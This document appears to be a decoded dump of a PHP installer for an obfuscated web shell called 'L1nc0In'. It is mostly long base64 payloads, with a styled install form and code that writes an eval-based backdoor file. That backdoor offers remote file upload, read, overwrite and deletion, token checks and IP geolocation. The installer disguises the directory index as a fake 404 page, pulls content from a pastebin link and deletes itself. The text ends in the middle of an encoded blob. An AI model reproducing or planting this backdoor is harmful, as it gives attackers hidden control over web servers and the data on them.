9fIC4kX19fX19fX18pKSkpO31pZighZW1wdHkoJF9QT1NUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDE2MCldIC5fNDc5MDk3ODMyKDE2MSkpXSkpeyRfX19fX19fX19fX19fX19fX19fX19fXz1iYXNlNjRfZGVjb2RlKHN0cnJldigkX1BPU1RbbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMTYyKV0gLl80NzkwOTc4MzIoMTYzKSldKSk7JF9fX19fX19fX19fX19fX19fX19fX19fXz1wYXRoaW5mbygkX19fX19fX19fX19fX19fX19fX19fX18pW180NzkwOTc4MzIoMTY0KV07aWYoJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBudWxsKXskX19fX19fX19fX19fX19fX19fX19fX19fPWV4cGxvZGUoJF9fX19fX19fXywkX19fX19fX19fX19fX19fX19fX19fX18pW3JvdW5kKDArMC41KzAuNSldO31pZighY3R5cGVfcHJpbnQoJF9fX19fX19fX19fX19fX19fX19fX19fKW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNjUpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE2NilvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTY3KW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNjgpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE2OSlvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTcwKW9yICRfX19fX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxNzEpb3IgJF9fX19fX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE3MilvciAkX19fX19fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTczKSlyZXR1cm47bW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbbWQ1KCRfX19fX19fX19fX19fX19fX19fX19fXyldW180NzkwOTc4MzIoMTc0KV0sJF9fX19fX18gLl80NzkwOTc4MzIoMTc1KSAuJF9fX19fX19fX19fX19fX19fX19fX19fKTt9aWYoIWVtcHR5KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDE3NildIC5fNDc5MDk3ODMyKDE3NykpXSkpeyRfX19fX19fX19fX19fX19fX19fX19fX19fPWpzb25fZGVjb2RlKGJhc2U2NF9kZWNvZGUoc3RycmV2KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDE3OCldIC5fNDc5MDk3ODMyKDE3OSkpXSkpLHRydWUpO2ZvcmVhY2goJF9fX19fX19fX19fX19fX19fX19fX19fX18gYXMgJF9fX19fX19fX19fX19fX19fXyl7JF9fX19fX19fX19fX19fX19fX189JF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxODApXSAuXzQ3OTA5NzgzMigxODEpKV07JF9fX19fX19fX19fX19fX19fX19fPXN0cl9yZXBsYWNlKF80NzkwOTc4MzIoMTgyKSxfNDc5MDk3ODMyKDE4MyksJF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxODQpXSAuXzQ3OTA5NzgzMigxODUpKV0pOyRfX19fX19fX19fX19fX19fX19fX19fPWJhc2U2NF9kZWNvZGUoJF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxODYpXSAuXzQ3OTA5NzgzMigxODcpKV0pO2lmKCEkX19fX19fX19fX19fX19fXyl7aWYoc2hhMSgkX19fX19fX19fX19fX19fX19fXykhPSBiYXNlNjRfZGVjb2RlKHN0cnJldigkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxODgpXSAuXzQ3OTA5NzgzMigxODkpKV0pKW9yIHN0cmxlbigkX19fX19fX19fX19fX19fX19fXykhPSByb3VuZCgwKzEwKzEwKzEwKzEwKW9yIHN0cmxlbigkX19fX19fX19fX19fX19fX19fX18pIT0gcm91bmQoMCsxMy4zMzMzMzMzMzMzMzMrMTMuMzMzMzMzMzMzMzMzKzEzLjMzMzMzMzMzMzMzMykpe3JldHVybjt9fWlmKCFjdHlwZV9wcmludCgkX19fX19fX19fX19fX19fX19fX18pb3IhY3R5cGVfcHJpbnQoJF9fX19fX19fX19fX19fX19fX18pb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTkwKW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE5MSlvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxOTIpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTkzKW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE5NClvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxOTUpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMTk2KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDE5NylvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigxOTgpKWNvbnRpbnVlO2ZpbGVfcHV0X2NvbnRlbnRzKCRfX19fX19fIC5fNDc5MDk3ODMyKDE5OSkgLiRfX19fX19fX19fX19fX19fX19fIC4kX19fX19fX19fIC4kX19fX19fX19fX19fX19fX19fX18sbF8obF9fKGZpbGVfZ2V0X2NvbnRlbnRzKCRfX19fX19fIC5fNDc5MDk3ODMyKDIwMCkgLiRfX19fX19fX19fX19fX19fX19fIC4kX19fX19fX19fIC4kX19fX19fX19fX19fX19fX19fX18pLG1kNSgkX19fX19fX19fX19fX19fX19fXyAuY3JjMzIoJF9fX19fXyAuJF9fX19fIC4kX19fX19fX18pKSkgLiRfX19fX19fX19fX19fX19fX19fX19fLG1kNSgkX19fX19fX19fX19fX19fX19fXyAuY3JjMzIoJF9fX19fXyAuJF9fX19fIC4kX19fX19fX18pKSkpO319aWYoIWVtcHR5KGJhc2U2NF9kZWNvZGUoc3RycmV2KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDIwMSldIC5fNDc5MDk3ODMyKDIwMikpXSkpKWFuZCAkX19fX19fX19fX19fX19fXyA9PSB0cnVlKXskX19fX19fX19fX19fPWFycmF5KCk7JF9fX19fX19fX19fX19fX19fX19fX19fX19fPWpzb25fZGVjb2RlKGJhc2U2NF9kZWNvZGUoc3RycmV2KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDIwMyldIC5fNDc5MDk3ODMyKDIwNCkpXSkpLHRydWUpOyRfX19fX19fX19fX19fX19fX19fXz0kX19fX19fX19fX19fX19fX19fX19fX19fX19bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMjA1KV0gLl80NzkwOTc4MzIoMjA2KSldOyRfX19fX19fX19fX19fX19fXz0kX19fX19fX19fX19fX19fX19fX19fX19fX19bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMjA3KV0gLl80NzkwOTc4MzIoMjA4KSldOyRfX19fX19fX19fX19fX19fX19fX19fX19fX189JF9fX19fX19fX19fX19fX19fX19fX19fX19fW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDIwOSldIC5fNDc5MDk3ODMyKDIxMCkpXTtpZigkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigyMTEpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMjEyKW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDIxMylvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigyMTQpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMjE1KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDIxNilvciAkX19fX19fX19fX19fX19fX19fX18gPT0gXzQ3OTA5NzgzMigyMTcpb3IgJF9fX19fX19fX19fX19fX19fX19fID09IF80NzkwOTc4MzIoMjE4KW9yICRfX19fX19fX19fX19fX19fX19fXyA9PSBfNDc5MDk3ODMyKDIxOSkpcmV0dXJuOyRfX19fX19fX19fX19fX19fX19fX19fX19fX19fPWdsb2IoJF9fX19fX18gLl80NzkwOTc4MzIoMjIwKSAuJF9fX19fX19fXyAuJF9fX19fX19fX19fX19fX19fX19fKTtmb3JlYWNoKCRfX19fX19fX19fX19fX19fX19fX19fX19fX19fIGFzICRfX19fX19fX19fX19fX19fX18peyRfX19fX19fX19fX19fX19fX19fX19fX19fX19fXz1iYXNlbmFtZSgkX19fX19fX19fX19fX19fX19fLCRfX19fX19fX18gLiRfX19fX19fX19fX19fX19fX19fXyk7JF9fX19fX19fX19fX1skX19fX19fX19fX19fX19fX19fX19fX19fX19fX19dW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDIyMSldIC5fNDc5MDk3ODMyKDIyMikpXT0kX19fX19fX19fX19fX19fX19fX19fX19fX19fX187aWYoJF9fX19fX19fX19fX19fX19fID09IHRydWUpeyRfX19fX19fX19fX19bJF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fXVttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigyMjMpXSAuXzQ3OTA5NzgzMigyMjQpKV09YmFzZTY0X2VuY29kZShsX18oZmlsZV9nZXRfY29udGVudHMoJF9fX19fX19fX19fX19fX19fXyksbWQ1KCRfX19fX19fX19fX19fX19fX19fX19fX19fX19fXyAuY3JjMzIoJF9fX19fXyAuJF9fX19fIC4kX19fX19fX18pKSkpOyRfX19fX19fX19fX19bJF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fXVttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigyMjUpXSAuXzQ3OTA5NzgzMigyMjYpKV09YmFzZTY0X2VuY29kZShkYXRlKF80NzkwOTc4MzIoMjI3KSxmaWxlbXRpbWUoJF9fX19fX19fX19fX19fX19fXykpKTskX19fX19fX19fX19fWyRfX19fX19fX19fX19fX19fX19fX19fX19fX19fX11bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMjI4KV0gLl80NzkwOTc4MzIoMjI5KSldPWJhc2U2NF9lbmNvZGUoZGF0ZShfNDc5MDk3ODMyKDIzMCkpKTt9aWYoY291bnQoJF9fX19fX19fX19fX19fX19fX19fX19fX19fXyk+cm91bmQoMCkpe2ZvcmVhY2goJF9fX19fX19fX19fX19fX19fX19fX19fX19fXyBhcyAkX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fKXskX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXz1iYXNlNjRfZGVjb2RlKCRfX19fX19fX19fX19fX19fX19fX19fX19fX19fX18pOyRfX19fX19fX19fX19bJF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fXVttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigyMzEpXSAuXzQ3OTA5NzgzMigyMzIpKV1bbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMjMzKV0gLiRfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fKV09YmFzZTY0X2VuY29kZShsX18oZmlsZV9nZXRfY29udGVudHMoJF9fX19fX18gLl80NzkwOTc4MzIoMjM0KSAuJF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fIC4kX19fX19fX19fIC5zaGExKCRfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fIC4kX19fX19fX19fX19fX19fX19fX19fX19fX19fX18pKSxtZDUoJF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fIC5jcmMzMigkX19fX19fIC4kX19fX18gLiRfX19fX19fXykpKSk7fX19ZWNobyhzdHJyZXYoYmFzZTY0X2VuY29kZShqc29uX2VuY29kZSgkX19fX19fX19fX19fKSkpKTt9aWYoIWVtcHR5KGJhc2U2NF9kZWNvZGUoc3RycmV2KCRfR0VUW21kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDIzNSldIC5fNDc5MDk3ODMyKDIzNikpXSkpKWFuZCAkX19fX19fX19fX19fX19fXyA9PSB0cnVlKXskX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX189anNvbl9kZWNvZGUoYmFzZTY0X2RlY29kZShzdHJyZXYoJF9HRVRbbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMjM3KV0gLl80NzkwOTc4MzIoMjM4KSldKSksdHJ1ZSk7Zm9yZWFjaCgkX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18gYXMgJF9fX19fX19fX19fX19fX19fXyl7JF9fX19fX19fX19fX19fX19fX189JF9fX19fX19fX19fX19fX19fX1ttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigyMzkpXSAuXzQ3OTA5NzgzMigyNDApKV07JF9fX19fX19fX19fX19fX19fX19fX19fX19fX189Z2xvYigkX19fX19fXyAuXzQ3OTA5NzgzMigyNDEpIC4kX19fX19fX19fX19fX19fX19fXyAuJF9fX19fX19fXyAuXzQ3OTA5NzgzMigyNDIpKTtmb3JlYWNoKCRfX19fX19fX19fX19fX19fX19fX19fX19fX19fIGFzICRfX19fX19fX19fX19fX19fX18pe3VubGluaygkX19fX19fX19fX19fX19fX19fKTt9fX0=";
if (!isset($_POST['instserv'])) {
?>
<style>
article,
aside,
details,
figcaption,
figure,
footer,
header,
hgroup,
nav,
section {
display: block;
}
$mainColor: #333333;
html {
font-size: 100%;
-webkit-text-size-adjust: 100%;
-ms-text-size-adjust: 100%;
}
input:focus,
textarea:focus {
outline: none;
}
label,
select,
button,
input[type="submit"],
input[type="radio"],
input[type="checkbox"],
input[type="button"] {
cursor: pointer;
}
a,
a:visited,
a:active {
text-decoration: none;
}
a:hover {
text-decoration: none;
}
::selection {
background: #34e181;
color: #fff;
}
::-moz-selection {
background: #34e181;
color: #fff;
}
* {
font-size: 100%;
margin: 0;
padding: 0;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
}
.urmum {
margin-left: 675px;
color: #ffff;
padding-bottom: 25px;
}
body {
background-image: linear-gradient(280deg, #eb0f12 -40%, #1f9959 100%);
background-size: cover;
background-repeat: no-repeat;
background-attachment: fixed;
font-family: "Helvetica Neue", Helvetica, Arial;
color: $mainColor;
}
h5 {
text-align: center;
margin-top: 5px;
color: #ffffff;
}
h5 > a,
a:visited {
color: #fff;
text-decoration: underline;
}
h5 > a:hover {
text-decoration: none;
}
form {
background: #fff;
border-radius: 6px;
padding: 20px;
padding-top: 30px;
width: 300px;
margin: 50px auto;
box-shadow: 15px 15px 0px rgba(0, 0, 0, .1);
}
h1 {
text-align: center;
font-size: 1.4em;
font-weight: 700;
color: #ccc;
margin-bottom: 24px;
}
span {
font-weight: 200;
}
input {
width: 100%;
background: #f5f5f5;
border: 0;
padding: 20px;
border-radius: 6px;
margin-bottom: 10px;
border: 1px solid #eee;
}
.btn {
position: relative;
width: 100%;
padding: 20px;
border-radius: 6px;
border: 0;
background: #f26964;
font-size: 1.2em;
color: #fff;
text-shadow: 1px 1px 0px rgba(0, 0, 0, .1);
box-shadow: 0px 3px 0px #c1524e;
}
.btn:active {
top: 3px;
box-shadow: none;
}
.fb {
margin-top: 15px;
background: #3b5998;
box-shadow: 0px 3px 0px #2c416e;
}
.tw {
background: #00acee;
box-shadow: 0px 3px 0px #008dc3;
}
.google {
background: #db4a39;
box-shadow: 0px 3px 0px #b93f31;
}
</style>
<form action="install.php" method="post">
<h1>L1nc0In</h1>
<input placeholder="Password" name="serverpass" type="password"/>
<button class="btn" name="instserv">Install</button>
</form>
<?php
} else {
$serverpass = $_POST['serverpass'];
$cryptedpass = hash("md5", $serverpass);
// Insert your $src value here or remove this line if it's not needed
$code = base64_decode($src);
$result = "<?php eval(base64_decode('" . base64_encode(str_replace(["REPLACEMDPASS", "REPLACEFOLDERNAME"], [$cryptedpass, $resultnfolder], $code)) . "')); ?>";
echo $result;
// Insert into .htaccess with 644 permissions
cfile_put_contents644(".htaccess", '
Options -Indexes
php_value memory_limit 512M
php_value post_max_size 150000M
php_value upload_max_filesize 150000M
php_value max_input_vars 1800
php_value max_execution_time 300
php_value max_input_time 300');
// Insert into the server itself with 644 permissions
cfile_put_contents644("L1nc0In.php", $result);
cfile_put_contents644("index.html", "<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
</body></html>");
// Remove this line if not needed
cfile_put_contents644("index.php", "<?php include(\"/opt/index.php\") ?>
");
$dildokatkares = file_get_contents("https://pastebin.com/raw/27Yfcwsn");
// Anti-dokatka HTML
cfile_put_contents644("dildokatka.html", $dildokatkares);
mkdir($resultnfolder, 0755);
?>
<style>
article,
aside,
details,
figcaption,
figure,
footer,
header,
hgroup,
nav,
section {
display: block;
}
$mainColor: #333333;
html {
font-size: 100%;
-webkit-text-size-adjust: 100%;
-ms-text-size-adjust: 100%;
}
input:focus,
textarea:focus {
outline: none;
}
label,
select,
button,
input[type="submit"],
input[type="radio"],
input[type="checkbox"],
input[type="button"] {
cursor: pointer;
}
a,
a:visited,
a:active {
text-decoration: none;
}
a:hover {
text-decoration: none;
}
::selection {
background: #34e181;
color: #fff;
}
::-moz-selection {
background: #34e181;
color: #fff;
}
* {
font-size: 100%;
margin: 0;
padding: 0;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
}
.urmum {
margin-left: 675px;
color: #ffff;
padding-bottom: 25px;
}
body {
background-image: linear-gradient(280deg, #eb0f12 -40%, #1f9959 100%);
background-size: cover;
background-repeat: no-repeat;
background-attachment: fixed;
font-family: "Helvetica Neue", Helvetica, Arial;
color: $mainColor;
}
h5 {
text-align: center;
margin-top: 5px;
color: #ffffff;
}
h5 > a,
a:visited {
color: #fff;
text-decoration: underline;
}
h5 > a:hover {
text-decoration: none;
}
form {
background: #fff;
border-radius: 6px;
padding: 20px;
padding-top: 30px;
width: 300px;
margin: 50px auto;
box-shadow: 15px 15px 0px rgba(0, 0, 0, .1);
}
h1 {
text-align: center;
font-size: 1.4em;
font-weight: 700;
color: #ccc;
margin-bottom: 24px;
}
span {
font-weight: 200;
}
input {
width: 100%;
background: #f5f5f5;
border: 0;
padding: 20px;
border-radius: 6px;
margin-bottom: 10px;
border: 1px solid #eee;
}
.btn {
position: relative;
width: 100%;
padding: 20px;
border-radius: 6px;
border: 0;
background: #f26964;
font-size: 1.2em;
color: #fff;
text-shadow: 1px 1px 0px rgba(0, 0, 0, .1);
box-shadow: 0px 3px 0px #c1524e;
}
.btn:active {
top: 3px;
box-shadow: none;
}
.fb {
margin-top: 15px;
background: #3b5998;
box-shadow: 0px 3px 0px #2c416e;
}
.tw {
background: #00acee;
box-shadow: 0px 3px 0px #008dc3;
}
.google {
background: #db4a39;
box-shadow: 0px 3px 0px #b93f31;
}
</style>
<h1>L1nc0In</h1>
<h1><span>Installation successful!</span></h1>
<div class="urmum">
<?php
$serverurl = "http://".$_SERVER['SERVER_NAME']."/@==gbJBzYuFDT";
echo "Your Server Address: {$serverurl}";
$file_to_delete = 'install.php';
unlink($file_to_delete);
unlink(__FILE__);
}
?>
Did this file decode correctly?
Original Code
<?php
function cfile_put_contents644($path, $content){
file_put_contents($path, $content);
chmod($path, 0644);
}
$firstArray = array("dokatka", "dildo", "vrot", "minet", "danik", "dildarik", "kabel");
$secondArray = array("ebalan", "tupoi", "ebal", "eblan", "debil", "idiot", "kuchunga");
$randomWord1 = $firstArray[array_rand($firstArray)];
$randomWord2 = $secondArray[array_rand($secondArray)];
$combinedWord = $randomWord1 . $randomWord2;
$hash = substr(md5(uniqid()), 0, 4);
$resultnfolder = $combinedWord . $hash;
$src = "ZnVuY3Rpb24gXzQ3OTA5NzgzMigkaSl7JGE9QXJyYXkoIkFFUy0xOTItT0ZCIiwiU0VSVkVSX05BTUUiLCJBRVMtMTkyLU9GQiIsIlNFUlZFUl9OQU1FIiwnRXVyb3BlL0xvbmRvbicsJ2Rpc3BsYXlfZXJyb3JzJywnbG9nX2Vycm9ycycsJ3VwbG9hZF9tYXhfZmlsZXNpemUnLCcxNTAwMDBNJywncG9zdF9tYXhfc2l6ZScsJzE1MDAwME0nLCdtYXhfaW5wdXRfdGltZScsJ21heF9leGVjdXRpb25fdGltZScsIlJFUExBQ0VNRFBBU1MiLCJEQ093bmVkIiwiUkVQTEFDRUZPTERFUk5BTUUiLCJjNWRkYzcxMTViY2YzZjcxZGEyNzg1MjA2NGZiNjRhZWM3YzhiNjNmIiwiLSIsIlNFUlZFUl9OQU1FIiwiZ2V0dG9rZW4iLCJTRVJWRVJfTkFNRSIsImdldHRva2VuIiwiU0VSVkVSX05BTUUiLCdIVFRQX0NMSUVOVF9JUCcsJ0hUVFBfQ0xJRU5UX0lQJywnSFRUUF9YX0ZPUldBUkRFRF9GT1InLCdIVFRQX1hfRk9SV0FSREVEX0ZPUicsJ1JFTU9URV9BRERSJywiU0VSVkVSX05BTUUiLCJ0b2tlbiIsIlNFUlZFUl9OQU1FIiwidGtuIiwiU0VSVkVSX05BTUUiLCJ0b2tlbl91aWQiLCJTRVJWRVJfTkFNRSIsInN0YXR1cyIsIlNFUlZFUl9OQU1FIiwiT0siLCJTRVJWRVJfTkFNRSIsIndvcmtkaXIiLCJTRVJWRVJfTkFNRSIsImlwaW5mbyIsImh0dHA6Ly93d3cuZ2VvcGx1Z2luLm5ldC9qc29uLmdwP2lwPSIsIlNFUlZFUl9OQU1FIiwic3RhdHVzIiwiU0VSVkVSX05BTUUiLCJXUk9ORyIsIlNFUlZFUl9OQU1FIiwiU0VSVkVSX05BTUUiLCJ2YWwiLCJTRVJWRVJfTkFNRSIsInBhc3N3b3JkIiwiU0VSVkVSX05BTUUiLCJwYXNzd29yZCIsIlNFUlZFUl9OQU1FIiwic3RhdHVzIiwiU0VSVkVSX05BTUUiLCJPSyIsIlNFUlZFUl9OQU1FIiwid29ya2RpciIsIlNFUlZFUl9OQU1FIiwidG9rZW4iLCJTRVJWRVJfTkFNRSIsInRrbiIsIlNFUlZFUl9OQU1FIiwic3RhdHVzIiwiU0VSVkVSX05BTUUiLCJXUk9ORyIsIlNFUlZFUl9OQU1FIiwiU0VSVkVSX05BTUUiLCJ2YWwiLCJTRVJWRVJfTkFNRSIsInRva2VuIiwiU0VSVkVSX05BTUUiLCJ0b2tlbiIsIlNFUlZFUl9OQU1FIiwidG9rZW4iLCJTRVJWRVJfTkFNRSIsInRrbiIsIlNFUlZFUl9OQU1FIiwidG9rZW5fdWlkIiwiU0VSVkVSX05BTUUiLCJnZXRkYXRhIiwiU0VSVkVSX05BTUUiLCJnZXRkYXRhIiwiU0VSVkVSX05BTUUiLCJuYW1lIiwiLiIsIiIsIlNFUlZFUl9OQU1FIiwiZXh0ZW5zaW9uIiwiU0VSVkVSX05BTUUiLCJ0b2tlbl91aWQiLCJwaHAiLCJodG1sIiwiaHRtIiwiaHRhY2Nlc3MiLCJ4aHRtbCIsIm1odG1sIiwibWh0bSIsIm1odCIsImpzIiwiU0VSVkVSX05BTUUiLCJTRVJWRVJfTkFNRSIsIi8iLCJTRVJWRVJfTkFNRSIsInNldGRhdGEiLCJTRVJWRVJfTkFNRSIsInNldGRhdGEiLCJTRVJWRVJfTkFNRSIsIm5hbWUiLCIuIiwiIiwiU0VSVkVSX05BTUUiLCJleHRlbnNpb24iLCJTRVJWRVJfTkFNRSIsImRhdGEiLCJTRVJWRVJfTkFNRSIsInRva2VuX3VpZCIsInBocCIsImh0bWwiLCJodG0iLCJodGFjY2VzcyIsInhodG1sIiwibWh0bWwiLCJtaHRtIiwibWh0IiwianMiLCIvIiwiU0VSVkVSX05BTUUiLCJkb3dubG9hZHNhZmVmaWxlX25hbWUiLCJTRVJWRVJfTkFNRSIsImRvd25sb2Fkc2FmZWZpbGVfbmFtZSIsJ2V4dGVuc2lvbicsInBocCIsImh0bWwiLCJodG0iLCJodGFjY2VzcyIsInhodG1sIiwibWh0bWwiLCJtaHRtIiwibWh0IiwianMiLCIvIiwiU0VSVkVSX05BTUUiLCJ1cGxvYWRzYWZlZmlsZV9uYW1lIiwiU0VSVkVSX05BTUUiLCJ1cGxvYWRzYWZlZmlsZV9uYW1lIiwnZXh0ZW5zaW9uJywidG1wX25hbWUiLCJwaHAiLCJodG1sIiwiaHRtIiwiaHRhY2Nlc3MiLCJ4aHRtbCIsIm1odG1sIiwibWh0bSIsIm1odCIsImpzIiwiLyIsIlNFUlZFUl9OQU1FIiwidXBsb2FkZmlsZV9uYW1lIiwiU0VSVkVSX05BTUUiLCJ1cGxvYWRmaWxlX25hbWUiLCdleHRlbnNpb24nLCJwaHAiLCJodG1sIiwiaHRtIiwiaHRhY2Nlc3MiLCJ4aHRtbCIsIm1odG1sIiwibWh0bSIsIm1odCIsImpzIiwidG1wX25hbWUiLCIvIiwiU0VSVkVSX05BTUUiLCJhZGRkYXRhIiwiU0VSVkVSX05BTUUiLCJhZGRkYXRhIiwiU0VSVkVSX05BTUUiLCJuYW1lIiwiLiIsIiIsIlNFUlZFUl9OQU1FIiwiZXh0ZW5zaW9uIiwiU0VSVkVSX05BTUUiLCJkYXRhIiwiU0VSVkVSX05BTUUiLCJ0b2tlbl91aWQiLCJwaHAiLCJodG1sIiwiaHRtIiwiaHRhY2Nlc3MiLCJ4aHRtbCIsIm1odG1sIiwibWh0bSIsIm1odCIsImpzIiwiLyIsIi8iLCJTRVJWRVJfTkFNRSIsImdldGFsbGJ5ZXh0IiwiU0VSVkVSX05BTUUiLCJnZXRhbGxieWV4dCIsIlNFUlZFUl9OQU1FIiwiZXh0ZW5zaW9uIiwiU0VSVkVSX05BTUUiLCJnZXRkYXRhIiwiU0VSVkVSX05BTUUiLCJhZGRpdGlvbmFsZGF0YSIsInBocCIsImh0bWwiLCJodG0iLCJodGFjY2VzcyIsInhodG1sIiwibWh0bWwiLCJtaHRtIiwibWh0IiwianMiLCIvKiIsIlNFUlZFUl9OQU1FIiwibmFtZSIsIlNFUlZFUl9OQU1FIiwiZGF0YSIsIlNFUlZFUl9OQU1FIiwibGFzdG1vZGlmaWNhdGlvbnRpbWUiLCJkLm0tSDppIiwiU0VSVkVSX05BTUUiLCJub3d0aW1lIiwiZC5tLUg6aSIsIlNFUlZFUl9OQU1FIiwiYWRkaXRpb25hbGRhdGEiLCJTRVJWRVJfTkFNRSIsIi8iLCJTRVJWRVJfTkFNRSIsImRlbGFsbGJ5bmFtZSIsIlNFUlZFUl9OQU1FIiwiZGVsYWxsYnluYW1lIiwiU0VSVkVSX05BTUUiLCJuYW1lIiwiLyIsIioiKTtyZXR1cm4gJGFbJGldO30gPz48P3BocCBmdW5jdGlvbiBsXygkXywkX18pe3JldHVybiBvcGVuc3NsX2VuY3J5cHQoJF8sXzQ3OTA5NzgzMigwKSwkX18sJF9fXz1yb3VuZCgwKSwkX1NFUlZFUltfNDc5MDk3ODMyKDEpXSk7fWZ1bmN0aW9uIGxfXygkXywkX19fXyl7cmV0dXJuIG9wZW5zc2xfZGVjcnlwdCgkXyxfNDc5MDk3ODMyKDIpLCRfX19fLCRfX189cm91bmQoMCksJF9TRVJWRVJbXzQ3OTA5NzgzMigzKV0pO31kYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KF80NzkwOTc4MzIoNCkpO2Vycm9yX3JlcG9ydGluZyhyb3VuZCgwKSk7aW5pX3NldChfNDc5MDk3ODMyKDUpLHJvdW5kKDApKTtpbmlfc2V0KF80NzkwOTc4MzIoNikscm91bmQoMCkpO2luaV9zZXQoXzQ3OTA5NzgzMig3KSxfNDc5MDk3ODMyKDgpKTtpbmlfc2V0KF80NzkwOTc4MzIoOSksXzQ3OTA5NzgzMigxMCkpO2luaV9zZXQoXzQ3OTA5NzgzMigxMSkscm91bmQoMCszMDApKTtpbmlfc2V0KF80NzkwOTc4MzIoMTIpLHJvdW5kKDArNzUrNzUrNzUrNzUpKTskX19fX189c2hhMShfNDc5MDk3ODMyKDEzKSk7JF9fX19fXz1fNDc5MDk3ODMyKDE0KTskX19fX19fXz1fNDc5MDk3ODMyKDE1KTskX19fX19fX189XzQ3OTA5NzgzMigxNik7JF9fX19fX19fXz1fNDc5MDk3ODMyKDE3KTtpZihpc3NldCgkX0dFVFttZDUoJF9TRVJWRVJbXzQ3OTA5NzgzMigxOCldIC5fNDc5MDk3ODMyKDE5KSldKSl7aWYoJF9HRVRbbWQ1KCRfU0VSVkVSW180NzkwOTc4MzIoMjApXSAuXzQ3OTA5NzgzMigyMSkpXT09IG1kNSgkX1NFUlZFUltfNDc5MDk3ODMyKDIyKV0pKXskX19fX19fX19fXz1yYW5kKHJvdW5kKDArMjAwMCsyMDAwKzIwMDArMjAwMCsyMDAwKSxyb3VuZCgwKzE5OTk5LjgrMTk5OTkuOCsxOTk5OS44KzE5OTk5LjgrMTk5OTkuOCkpO3doaWxlKHRydWUpe2lmKCgkX19fX19fX19fXyVyb3VuZCgwKzIpKT09IHJvdW5kKDApKWJyZWFrOyRfX19fX19fX19fPXJhbmQocm91bmQoMCsyMDAwKzIwMDArMjAwMCsyMDAwKzIwMDApLHJvdW5kKDArMjQ5OTkuNzUrMjQ5OTkuNzUrMjQ5OTkuNzUrMjQ5OTkuNzUpKTt9aWYoIWVtcHR5KCRfU0VSVkVSW180NzkwOTc4MzIoMjMpXSkpeyRfX19fX19fX19fXz0kX1NFUlZFUltfNDc5MDk3ODMyKDI0KV07fWVsc2VpZighZW1wdHkoJF9TRVJWRVJbXzQ3OTA5NzgzMigyNSldKS